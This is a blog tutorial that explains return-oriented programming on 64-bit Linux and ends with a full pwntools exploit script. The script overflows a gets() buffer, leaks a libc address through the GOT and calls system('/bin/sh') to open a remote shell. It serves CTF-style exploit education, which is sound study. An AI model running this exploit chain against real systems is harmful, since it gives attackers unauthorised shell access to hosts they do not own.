Return-oriented Programming (ROP) (GNU/Linux version)

Dear readers,

Recently I was doing a HackTheBox challenge that involves ROP and did a write-up of it then realized I would like to pen down more detailed content of ROP such as symbols vs PLT vs GOT, stack alignment, etc. So here we go.

ROP condition

  • No canaries / stack cookies
  • Stack executable or not is optional
  • Able to find usable gadgets

If the stack is executable, often people will use choose to directly execute the shellcode loaded on the stack on the buffer or in another function below the vulnerable function. Of course, you can still use ROP but usually, people use ROP because the stack is non-executable. To check the security measures used on a file, we can use checksec.

> checksec --file ./vulprog
[*] '/home/soulx/documents/vulprog'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The program above shows that no canary is found hence buffer overflow (BOF) is allowed, NX is enabled hence shellcode on the stack to be executed is not allowed since no stack execution, and there is no Address Space Layout Randomization (ASLR) since no Program Independent Execution (PIE).

What is ROP?

ROP is an exploitation method to craft a usable shellcode using assembly instructions from different parts of the program that must end with a return (RET) instruction.

An example below shows a section that we can use “pop rdi ; ret” as a gadget. Gadget with instructions such as “pop rdi” followed by “ret” is very usable for ROP as it helps us to load content we want into register RDI from the stack. Register RDI is the register used as the 1st parameter during function/routine call. The start of the address of the gadget will be used on the stack for ROP.

0x40f0 add rax. rax
0x40f8 xor rsi, r8
0x4100 pop rdi
0x4108 ret

If we use ROPgadget, we can see the list of possible sections of useful code that can be used as gadgets. Below contains a random example of gadgets.

0x4000 : pop rsi ; ret
0x4028 : add rax, rdi ; ret
0x4100 : pop rdi ; ret

So how does ROP work?

If you still remember about assembly languages, how CPU and stacks work, etc, this should be easy to understand for you. When RET instruction is called, the return address stored in the stack will be pop off the stack and used in the instruction pointer (IP). Therefore, ROP occurs by having stacks of addresses to different gadgets so that a full set of instructions or shellcode will be formed.

Let’s say we have 3 gadgets with address 0x1040, 0x1018, and 0x1120 to each gadget respectively. The 1st gadget to be executed shall have its address stored at the return address of a BOF function. This can be seen in Fig 3a.

Fig 3a. Stack of vul() overflowed with “AA..AAA” and gadgets addresses

Once we overflowed the stack with the offset of “AAA…AA” until the return address of vul() then overflow starting from the return address with the first gadget till the last gadget (also known as ROP chaining), we are ready for our ROP to exploit.

When the program reaches the return address location of vul(), it will return to address 0x1040 instead of the original 0x10a0 (address of the instruction after “call vul()“). Basically, it is more like jumping to the 1st gadget located at address 0x1040. However, we are making use of the RET statement thus it is called “return“-oriented programming.

Fig 3b. Stack pointer pointing to the address of the 1st gadget before popping it off

Since each gadget should contain a RET at the end, the instructions will execute finish before calling RET which will pop another address from the stack and jump to it based on where the RSP (stack pointer) is pointing to which is 0x1018 (see Fig 3c).

Fig 3c. Stack pointer pointing to 2nd gadget’s address on the stack before popping it off

This process will continue for the 3rd gadget. I am sure you understand the concept of ROP now with me repeat for 3rd gadget. If you still do not understand, there is a good resource by a famous white-hat hacker called LiveOverflow which has a good video on the basics of ROP here.

Symbols vs PLT vs GOT

Symbols are addresses of user-defined functions and used library functions stored in your ELF program. This includes address for main(), puts(), vul() (pretend we created this user-defined function), etc. To see the symbols of your program, you can download pwntools. Using pprint allows us to print the results beautifully as symbols is a dictionary/JSON format which normal print() will print the data in a messy way.

from pwn import *
from pprint import pprint

elf = ELF("./restaurant")
pprint(elf.symbols)

A part of the result is shown below:

{'': 6299728,
 '_DYNAMIC': 6299040,
 '_GLOBAL_OFFSET_TABLE_': 6299536,
 '_IO_stdin_used': 4198592,
 '__FRAME_END__': 4199676,
 '__GNU_EH_FRAME_HDR': 4199124,
 '__TMC_END__': 6299728,
 '__bss_start': 6299728,
 '__data_start': 6299648,

...

 'main': 4198248,
 'plt.__isoc99_scanf': 4196032,
 'plt.alarm': 4195968,
 'plt.exit': 4196048,
 'plt.printf': 4195952,
 'plt.puts': 4195920,
 'plt.read': 4195984,
 'plt.setvbuf': 4196016,
 'plt.strcmp': 4196000,
 'plt.strlen': 4195936,
 'printf': 4195952,
 'puts': 4195920,

...
}

The result above of the symbols printed showed the address of main(), puts(), etc.

The Procedure Linkage Table (PLT) consists of addresses to a set of instructions for a library function that has a jump instruction that jumps to the Global Offset Table (GOT) of the actual library function in the libc. The address/content of each function in PLT and symbols are the same. This means that library functions such as printf() and puts() have the same address in PLT and symbols. This can be seen below by printing out the content of puts() in symbols and PLT which both store data in dictionary format.

from pwn import *
from pprint import pprint

elf = ELF("./restaurant")
pprint(elf.symbols)

print(elf.symbols['puts'])  # result is 4195920 (0x00400650)
print(elf.plt['puts'])      # result is 4195920 (0x00400650)

This can easily be verified using Ghidra (see Fig 4a).

Fig 4a. Address/location of puts() in PLT

If we double on the “puts” pointer that the JMP (jump instruction) goes to, we will arrive at the puts() location in GOT. If we print out the location of GOT of our ELF file as show below, it will match the address/location of puts() in the GOT of that ELF file (compare address/location with Fig 4b).

rom pwn import *
from pprint import pprint

elf = ELF("./restaurant")

print(elf.got['puts'])  # result is 6299560 (0x00601FA8)
Fig 4b. Address/location of puts() in GOT

At the location of 0x00601fA8, it actually contains the actual address of puts() in the library (libc) during runtime. The addresses in the GOT will be updated during runtime when the linker is executed to link the main program ELF file to the libc. Therefore, you can treat the location of 0x00601fA8 as a pointer. Since elf.got[‘puts’] contains 0x00601fA8 which points to the actual address of puts() in libc, elf.got[‘puts’] is a pointer. Fig 4c shows a diagram of what I have been saying. Credit for Fig 4c is to be given to this blog.

Fig 4c. PLT GOT diagram

Let’s say if we try to print the symbol of puts() in our local libc located in our operating system.

from pwn import *
from pprint import pprint

libc = ELF("./libc.so.6")

print(libc.symbols['puts'])  # result is 527008 (0x00080AA0)

If we are to use Ghidra to look at the address of puts() in the local libc file on your computer, we will notice that the symbols in the libc file contain the offset to the base address instead of the actual address. This is because libc will undergo ASLR hence it only can store the offset. 0x00180AA0 – 0x00100000 = 0x00080AA0 (offset of puts())

Fig 4d. Base address of libc seen on Ghidra
Fig 4e. Temporary address of puts() in local libc

ROP used to bypass ASLR

The address of puts() in libc often undergoes ASLR as well as have different addresses due to different libc versions. Therefore, the GOT will contain the correct address for the libc and thus the address of puts() at runtime. To bypass and obtain the shell on the remote server, these steps are often performed in chronological order:

  1. Obtain offset for BOF to reach return address.
  2. Create ROP to print/leak address stored at location of elf.got[‘puts’].
  3. Address obtain is used to obtain libc version.
  4. Obtain libc base address.
  5. Create 2nd ROP to get a shell launched in the server.

I will not be explaining much on the 5th pointer as it is similar to the 2nd pointer. If you understand the 2nd pointer, you should understand the 5th pointer as well. I will also not be touching on the 1st pointer since it is just based on reverse engineering and using GDB to see the offset. You should already know this.

We will be using an example from this useful tutorial here. Based on the tutorial, below is the vulnerable code that can take be subjected to BOF then ROP. However, I made some slight changes so that we can talk about more considerations such as alignments, use of sendlineafter() to make your script simpler, and newline character considerations.

#include <stdio.h>

int main() {
    char buffer[32];
    puts("Simple ROP.\n");
    printf("> ");
    gets(buffer);

    printf("\nThank you for trying this tutorial!\n");
    printf("You have inputted: %s", buffer);

    return 0;
}

2. Create ROP to print/leak address stored at location of elf.got[‘puts’]

As we know that elf.got[‘put’] is actually like a pointer as the address in it contains another address which is the actual ASLR address of puts() in libc, we can print it out from the server using ROP, causing the server to execute just like this instruction:

puts(elf.got['puts']);

Alternatively, you can use any other library functions to print out the address in its GOT as long as they exist in the symbols of the main ELF program. For this blog post, we will be using puts()‘s GOT instead.

To do this, we first prepare the code before crafting the ROP.

from pwn import *

# set other architecture type depending on the file you are given
context.arch = 'amd64'

# create ELF object of the challenge's file we want to exploit
elf = ELF("./vuln")

# offset before hitting the return address
overflow = b'A' * 40

# connect to server
r = remote('123.1.1.123', 1234)

# create rop object of the file
rop_elf = ROP(elf)

Next, we can prepare the ROP code to print out the ASLR address inside elf.got[‘put’]. Below shows the traditional way which allows us to see the full ROP exploit overwritten to the stack. Later I will introduce the newer way which is much faster but you won’t be able to see the full ROP code unless you use rop.dump(). Even so, it won’t be clear. Therefore, we will go through the traditional way for learning and understanding before we use the newer way.

Below shows the traditional way of generating an ROP code to print the address of elf.got[‘put’] .

#you may also use PUTS_PLT = elf.plt["puts"]
PUTS_PLT = elf.symbols['puts']
MAIN_PLT = elf.symbols['main']
# it is the same as using ROPgadget --binary vuln | grep "pop rdi"
POP_RDI = (rop_elf.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop_elf.find_gadget(['ret']))[0]
# you may also use other library functions as long as it exist in vuln too
FUNC_GOT = elf.got['puts']

# generating the overflow padding and ROP chain
rop_get_libc_aslr_addr = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

# send our exploit
r.sendlineafter(">", rop_get_libc_aslr_addr)

# handles the 1st empty line
r.recvuntil("\n")
# handles statement that prints user's input
r.recvuntil("\n")
# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_addr_puts_libc))

We can see that we first have to find the gadget that contains “POP RDI ; RET” instructions as we need to load the address of FUNC_GOT into the register RDI. When the actual puts() is called, it will use its first argument which is register RDI and print the content located in the address stored in RDI. Basically, it will be doing “puts(FUNC_GOT);” like what I mentioned earlier.

Below shows the stack when the offset+ROP occurs.

Fig 5a. First offset+ROP on stack after overflow occurs

Note that the order to struct the ROP chain is very important. The reason has already been explained in the section “So how does ROP work?”.

Below shows the newer way that allows the generation of the same ROP.

# generating puts(elf.got['puts']);
rop_elf.call(elf.symbols['puts'], [elf.got['puts']])
rop_elf.call(elf.symbols['main'])

# generating the overflow padding and ROP chain
rop_get_libc_aslr_addr = overflow + rop_elf.chain()

# send our exploit
r.sendlineafter(">", rop_get_libc_aslr_addr)

# handles the 1st empty line
r.recvuntil("\n")
# handles statement that prints user's input
r.recvuntil("\n")
# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_addr_puts_libc))

Note that we do not need to find and include the gadget address for “POP RDI ; RET” as rop_elf.call() will do it for us based on the number of objects in the list in the 2nd argument of call(). In this case, there is only one argument which is [elf.got[‘puts’].

Besides that, call() will also help us to sort the order of the addresses nicely for ROP. To see the full ROP chain code, we can use dump() as shown below.

log.info(rop_elf.dump())

The result is shown below:

[*] Loaded 14 cached gadgets for './vuln'
[*] 0x0000:         0x4010a3 pop rdi; ret
    0x0008:         0x601fa8 [arg0] rdi = got.puts
    0x0010:         0x400650
    0x0018:         0x400f68 0x400f68()

Note that the address for gadget “POP RDI ; RET” is loaded first followed by the 1st argument for puts() which is got.puts, then the address of puts(), then lastly the address back to main() so that we can do our 2nd ROP to get the shell.

Sometimes alignment may be required which means your ROP code must be within 16 bytes alignment. This only applies to newer versions of Ubuntu. This means that there must be an even number of addresses in the ROP chain. When you look at the dump() output, you can see that the relative address of the last ROP address is 0x0018 means it is well-aligned. Each 64-bits address takes up 8 bytes of space on the stack. Hence, at 0x0018, the address of main() will causes empty space after 0x0020, showing it is well aligned to 16-bytes (modulus 0x10 must result in 0. Thus 0x0020 % 0x10 = 0x0). To solve the alignment issue, we can add an address to a gadget that contains “RET” at the start of ROP which will not affect our ROP result since “RET” does nothing useful.

Newline character in need

Sometimes the shellcode created has one or more NULL bytes such as the one shown below when printed as a string.

Shellcode:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa3\x10@\x00\x00\x00\x00\x00\xa8\x1f`\x00\x00\x00\x00\x00P\x06@\x00\x00\x00\x00\x00J\x0e@\x00\x00\x00\x00\x00'

Based on our example above, the user’s input will be printed until the 1st NULL byte shown in green font. Therefore, below shows the result where our input is printed and terminates once a NULL character appears.

"\nThank you for trying this tutorial!"
"You have inputted: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa3\x10@"

However, there is no Newline separator. This causes the leaked address to be printed/appended to the previously printed string as shown below in green font. Therefore, it is harder to parse the string well and get the leaked address.

"\nThank you for trying this tutorial!"
"You have inputted: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa3\x10@\xa0J\x159\x8e\x7f\n"

We can solve this by adding a set of ROP gadgets to print “\n” so that the leaked address will be in a new line. This can be done using puts(“”) since puts() will append “\n” by default. To do that, we will need to add the code shown below before printing the leaked address. Remember to include the RET gadget to solve the alignment issue since we just added the puts(“”) gadgets causing stack misalignment.

rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])

The full new ROP to get the leaked address is shown below.

# for stack alignment
rop_elf.call((rop_elf.find_gadget(["ret"]))[0])
# to print a newline character to allow leaked address to start from a new line
rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])
# generating puts(elf.got['puts']);
rop_elf.call(elf.symbols['puts'], [elf.got['puts']])
# goes back to main() for 2nd ROP to get shell
rop_elf.call(elf.symbols['main'])

# generating the overflow padding and ROP chain
rop_get_libc_aslr_addr = overflow + rop_elf.chain()

# send our exploit
r.sendlineafter(">", rop_get_libc_aslr_addr)

# handles the 1st empty line
r.recvuntil("\n")
# handles statement that prints user's input
r.recvuntil("\n")
# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_addr_puts_libc))

This will allow us to receive the strings shown below where green is our leaked address.

"\nThank you for trying this tutorial!"
"You have inputted: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa3\x10@\n"
"\xa0J\x159\x8e\x7f\n"

Since we have the leaked address, we must pad “\x00” until there are 8 bytes for our address since it is a 64-bit program. This can be done using ljust().

3. Address obtain is used to obtain libc version

Next, we will have to obtain the libc version as there are many versions. Only after we know the version number then we can get the base address of the libc used by the server. To check the version number, we can use https://libc.blukat.me/. Below shows an example of the version of libc used in a CTF I competed recently using the leaked address of puts() in GOT of the server. You can download the libc from the website directly.

Fig 5b. Searched for libc version and found the result

4. Obtain libc base address

We can finally obtain the libc’s base address by subtracting using the puts()‘s offset in libc stored in libc’s symbols which I have mentioned in section “Symbols vs PLT vs GOT“.

libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")
server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts']
log.info("Leaked server's libc address: " + hex(server_libc_base_addr))
# result of libc address is 0x7fdb76694000

5. Create 2nd ROP to get a shell launched in the server

The last step requires us to obtain a shell in the server by sending system(“/bin/sh\x00”) to the server. To do so, we must 1st reassign the base address of our local libc to the server’s libc’s base address.

libc.address = server_libc_base_addr

Finally, we can generate our ROP to spawn the shell and make the connection to the server interactive so that we can use the shell. I will not explain the code below as you should understand them by now if you understand the sections above well.

# Craft sys call to /bin/sh.
rop_libc = ROP(libc)
# for stack alignment
rop_libc.call((rop_libc.find_gadget(["ret"]))[0])
rop_libc.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])

# combine into usable payload
rop_get_bash_exploit = overflow + rop_libc.chain()
log.info(rop_libc.dump())

# exploit again but using the 2nd ROP to get the shell
r.sendlineafter(">" ,rop_get_bash_exploit)

r.interactive()

Full code for ROP

Below shows a full code for the ROP for above.

from pwn import *

# set other architecture type depending on the file you are given
context.arch = 'amd64'

# create ELF object of the challenge's file we want to exploit
elf = ELF("./vuln")

# offset before hitting the return address
overflow = b'A' * 40

# connect to server
r = remote('123.1.1.123', 1234)


#### FIRST ROP ###

# create rop object of the file
rop_elf = ROP(elf)

# for stack alignment
rop_elf.call((rop_elf.find_gadget(["ret"]))[0])
# to print a newline character to allow leaked address to start from a new line
rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])
# generating puts(elf.got['puts']);
rop_elf.call(elf.symbols['puts'], [elf.got['puts']])
# goes back to main() for 2nd ROP to get shell
rop_elf.call(elf.symbols['main'])

# generating the overflow padding and ROP chain
rop_get_libc_aslr_addr = overflow + rop_elf.chain()

# send our exploit
r.sendlineafter(">", rop_get_libc_aslr_addr)

# handles the 1st empty line
r.recvuntil("\n")
# handles statement that prints user's input
r.recvuntil("\n")
# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_addr_puts_libc))


### SET NEW BASE ADDRESS ###

libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")
server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts']
log.info("Leaked server's libc address: " + hex(server_libc_base_addr))

# set new base address
libc.address = server_libc_base_addr


# Craft sys call to /bin/sh.
rop_libc = ROP(libc)
# for stack alignment
rop_libc.call((rop_libc.find_gadget(["ret"]))[0])
rop_libc.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])

# combine into usable payload
rop_get_bash_exploit = overflow + rop_libc.chain()
log.info(rop_libc.dump())

# exploit again but using the 2nd ROP to get the shell
r.sendlineafter(">" ,rop_get_bash_exploit)

r.interactive()

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂

Advertisement

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.